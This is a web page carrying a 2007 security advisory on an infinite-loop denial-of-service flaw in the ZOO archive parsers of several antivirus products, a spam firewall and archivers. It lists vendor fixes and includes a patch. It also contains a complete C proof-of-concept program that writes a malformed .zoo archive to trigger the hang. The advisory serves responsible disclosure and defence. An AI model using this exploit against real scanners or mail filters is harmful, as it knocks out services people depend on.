SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
Search :
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Multiple vendors ZOO file decompression infinite loop DoS


Arrow  SecurityAlert : 2680
Arrow  CVE : CVE-2007-1672
Arrow  CVE : CVE-2007-1671
Arrow  CVE : CVE-2007-1669
Arrow  CVE : CVE-2007-2536
Arrow  CVE : CVE-2007-2535
Arrow  CVE : CVE-2007-1673
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : Yes
Arrow  Exploit Given : Yes
Arrow  Credit : Jean-Sebastien Guay-Leroux
Arrow  Published : 12.05.2007

Arrow  Affected Software : Barracuda Spam Firewall
Panda Software Antivirus
avast! antivirus
Avira AntiVir
zoo-2.10
unzoo.c
WinAce
PicoZip



Arrow  Advisory Text :  

Topic: Multiple vendors ZOO file decompression infinite
loop DoS

Announced: 2007-05-04
Credits: Jean-Sebastien Guay-Leroux
Products: Multiple (see section III)
Impact: DoS (99% CPU utilisation)
CVE ID: CVE-2007-1669, CVE-2007-1670, CVE-2007-1671,
CVE-2007-1672, CVE-2007-1673

I. BACKGROUND

Zoo is a compression program and format developed by Rahul Dhesi in the
mid
1980s. The format is based on the LZW compression algorithm and compressed
files are identified by the .zoo file extension. It is no longer widely
used, but many modern softwares implement the ZOO compression algorithm.

II. DESCRIPTION

It's possible to make the ZOO implementation to enter in an infinite loop
condition. The vulnerability lies in the algorithm used to locate the
files inside the archive. Each file in a ZOO archive is identified by a
direntry structure. Those structures are linked between themselves with a
'next' pointer. This pointer is in fact an offset from the beginning of
the file, representing the next direntry structure. By specifying an
already processed file, it's possible to process more than one time this
same file. The ZOO parser will then enter an infinite loop condition.

III. AFFECTED SOFTWARES

o Barracuda Spam Firewall
o Panda Software Antivirus
o avast! antivirus
o Avira AntiVir
o zoo-2.10
o unzoo.c
o WinAce
o PicoZip

IV. IMPACT

If this attack is conducted against a vulnerable antivirus, the host
system
will have its CPU at 100% utilization and may have problems answering
other
requests.

If this attack is conducted against an SMTP content filter running a
vulnerable ZOO implementation, legitimate clients may be unable to send
and
receive email through this server.

V. SOLUTION

o Barracuda Spam Firewall - CVE-2007-1669:
They fixed this problem in virusdef 2.0.6399 for firmware >= 3.4 and
2.0.6399o for firmware < 3.4 March 19th 2007.

o Panda Software Antivirus - CVE-2007-1670:
They fixed this problem April 2nd 2007.

o avast! antivirus - CVE-2007-1672:
They fixed this problem in version 4.7.981, April 14th 2007.

o Avira AntiVir - CVE-2007-1671:
They fixed this problem in avpack32.dll version 7.3.0.6 March 22th
2007.

o zoo-2.10 - CVE-2007-1669:
This software is not maintained anymore. A patch for version 2.10 is
provided in section VII of this advisory because some SMTP content
filters may still use this software.

o unzoo.c - CVE-2007-1673:
This software is not maintained anymore. No patch is provided for this
software.

o WinAce was contacted but no response was received from them.

o PicoZip was contacted but no response was received from them.

VI. PROOF OF CONCEPT

Using the PIRANA framework version 0.3.3, available at
http://www.guay-leroux.com , it is possible to test your SMTP server
against this vulnerability.

Alternatively, here is an exploit that will create a file that will
trigger
the infinite loop condition when it is processed.

/*

Exploit for the vulnerability:
Multiple vendors ZOO file decompression infinite loop DoS

coded by Jean-Sébastien Guay-Leroux
September 2006

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Structure of a ZOO header

#define ZOO_HEADER_SIZE 0x0000002a

#define ZH_TEXT 0
#define ZH_TAG 20
#define ZH_START_OFFSET 24
#define ZH_NEG_START_OFFSET 28
#define ZH_MAJ_VER 32
#define ZH_MIN_VER 33
#define ZH_ARC_HTYPE 34
#define ZH_ARC_COMMENT 35
#define ZH_ARC_COMMENT_LENGTH 39
#define ZH_VERSION_DATA 41

#define D_DIRENTRY_LENGTH 56

#define D_TAG 0
#define D_TYPE 4
#define D_PACKING_METHOD 5
#define D_NEXT_ENTRY 6
#define D_OFFSET 10
#define D_DATE 14
#define D_TIME 16
#define D_FILE_CRC 18
#define D_ORIGINAL_SIZE 20
#define D_SIZE_NOW 24
#define D_MAJ_VER 28
#define D_MIN_VER 29
#define D_DELETED 30
#define D_FILE_STRUCT 31
#define D_COMMENT_OFFSET 32
#define D_COMMENT_SIZE 36
#define D_FILENAME 38
#define D_VAR_DIR_LEN 51
#define D_TIMEZONE 53
#define D_DIR_CRC 54
#define D_NAMLEN ( D_DIRENTRY_LENGTH + 0 )
#define D_DIRLEN ( D_DIRENTRY_LENGTH + 1 )
#define D_LFILENAME ( D_DIRENTRY_LENGTH + 2 )

void put_byte (char *ptr, unsigned char data) {
*ptr = data;
}

void put_word (char *ptr, unsigned short data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
}

void put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}

FILE * open_file (char *filename) {

FILE *fp;

fp = fopen ( filename , "w" );

if (!fp) {
perror ("Cant open file");
exit (1);
}

return fp;
}

void usage (char *progname) {

printf ("nTo use:n");
printf ("%s <archive name>nn", progname);

exit (1);
}

int main (int argc, char *argv[]) {
FILE *fp;
char *hdr = (char *) malloc (4096);
char *filename = (char *) malloc (256);
int written_bytes;
int total_size;

if ( argc != 2) {
usage ( argv[0] );
}

strncpy (filename, argv[1], 255);

if (!hdr || !filename) {
perror ("Error allocating memory");
exit (1);
}

memset (hdr, 0x00, 4096);

// Build a ZOO header
memcpy (hdr + ZH_TEXT, "ZOO 2.10 Archive.&#65533;32",
18);
put_longword (hdr + ZH_TAG, 0xfdc4a7dc);
put_longword (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE);
put_longword (hdr + ZH_NEG_START_OFFSET,
(ZOO_HEADER_SIZE) * -1);
put_byte (hdr + ZH_MAJ_VER, 2);
put_byte (hdr + ZH_MIN_VER, 0);
put_byte (hdr + ZH_ARC_HTYPE, 1);
put_longword (hdr + ZH_ARC_COMMENT, 0);
put_word (hdr + ZH_ARC_COMMENT_LENGTH, 0);
put_byte (hdr + ZH_VERSION_DATA, 3);

// Build vulnerable direntry struct
put_longword (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc);
put_byte (hdr + ZOO_HEADER_SIZE + D_TYPE, 1);
put_byte (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0);
put_longword (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a);
put_longword (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71);
put_word (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394);
put_word (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650);
put_word (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0);
put_longword (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0);
put_longword (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0);
put_byte (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1);
put_byte (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0);
put_byte (hdr + ZOO_HEADER_SIZE + D_DELETED, 0);
put_byte (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0);
put_longword (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0);
put_word (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0);
memcpy (hdr + ZOO_HEADER_SIZE + D_FILENAME,
"AAAAAAAA.AAA", 13);

total_size = ZOO_HEADER_SIZE + 51;

fp = open_file (filename);

if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 ) {
printf ("The file has been writtenn");
} else {
printf ("Cant write to the filen");
exit (1);
}

fclose (fp);

return 0;
}

VII. PATCH

To fix this issue, ensure that the offset of the next file to process is
always greater than the one you are currently processing. This will
guarantee the fact that it's not possible to process the same files over
and over again. Here is a patch for the software zoo version 2.10
distributed with many UNIX systems:

diff -u zoo/zooext.c zoo-patched/zooext.c
--- zoo/zooext.c 1991-07-11 15:08:00.000000000 -0400
+++ zoo-patched/zooext.c 2007-03-16 16:45:28.000000000 -0500
@@ -89,6 +89,7 @@
#endif
struct direntry direntry; /* directory entry */
int first_dir = 1;
/* first dir entry seen? */
+unsigned long zoo_pointer = 0; /* Track our position
in the file */

static char extract_ver[] = "Zoo %d.%d is needed to extract %s.n";
static char no_space[] = "Insufficient disk space to extract %s.n";
@@ -169,6 +170,9 @@
exit_status = 1;
}
zooseek (zoo_file, zoo_header.zoo_start, 0); /* seek to where data
begins */
+
+ /* Begin tracking our position in the file */
+ zoo_pointer = zoo_header.zoo_start;
}

#ifndef PORTABLE
@@ -597,6 +601,12 @@
} /* end if */

loop_again:
+
+ /* Make sure we are not seeking to already processed data */
+ if (next_ptr <= zoo_pointer)
+ prterror ('f', "ZOO chain structure is corruptedn");
+ zoo_pointer = next_ptr;
+
zooseek (zoo_file, next_ptr, 0); /* ..seek to next dir entry */
} /* end while */

diff -u zoo/zoolist.c zoo-patched/zoolist.c
--- zoo/zoolist.c 1991-07-11 15:08:04.000000000 -0400
+++ zoo-patched/zoolist.c 2007-03-16 16:45:20.000000000 -0500
@@ -92,6 +92,7 @@
int show_mode = 0; /* show file protection
*/
#endif
int first_dir = 1; /* if first direntry --
to
adjust dat_ofs */
+unsigned long zoo_pointer = 0; /* Track our position in the file
*/

while (*option) {
switch (*option) {
@@ -211,6 +212,9 @@
show_acmt (&zoo_header, zoo_file, 0); /* show
archive comment */
}

+ /* Begin tracking our position in the file */
+ zoo_pointer = zoo_header.zoo_start;
+
/* Seek to the beginning of the first directory entry */
if (zooseek (zoo_file, zoo_header.zoo_start, 0) != 0) {
ercount++;
@@ -437,6 +441,11 @@
if (verb_list && !fast)
show_comment (&direntry, zoo_file, 0, (char *) NULL);
} /* end if (lots of conditions) */
+
+ /* Make sure we are not seeking to already processed data */
+ if (direntry.next <= zoo_pointer)
+ prterror ('f', "ZOO chain structure is corruptedn");
+ zoo_pointer = direntry.next;

/* ..seek to next dir entry */
zooseek (zoo_file, direntry.next, 0);

VIII. CREDITS

Jean-Sebastien Guay-Leroux found the bug and wrote the exploit for it.

IX. REFERENCES

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1669

2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1670

3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1671

4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1672

5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1673

X. HISTORY

2006-09-?? : Vulnerability is found
2007-03-19 : All vendors notified
2007-03-19 : Barracuda Networks provided a fix
2007-03-22 : Avira provided a fix
2007-04-02 : Panda Antivirus provided a fix
2007-04-14 : avast! antivirus provided a fix
2007-05-04 : Public disclosure




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Multiple Vendors libc/gdtoa printf(3) Array Overrun

Security Risk High- 2009-05-30

SecurityReason realised new advisory about vulnerabilities libc/gdtoa...

Apache RSS Apache Alert

» Apache Tomcat
   RequestDispatcher
   directory traversal
   vulnerability

» Apache mod_dav / svn
   Remote Denial of Service
   Exploit

» Apache Tomcat Information
   disclosure

» Apache Tomcat User
   enumeration vulnerability
   with FORM authentication

PHP RSS PHP Alert

» PHP 5.2.9 curl safe_mode
   & open_basedir bypass

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

Copyright © SecurityReason.com. All Rights Reserved.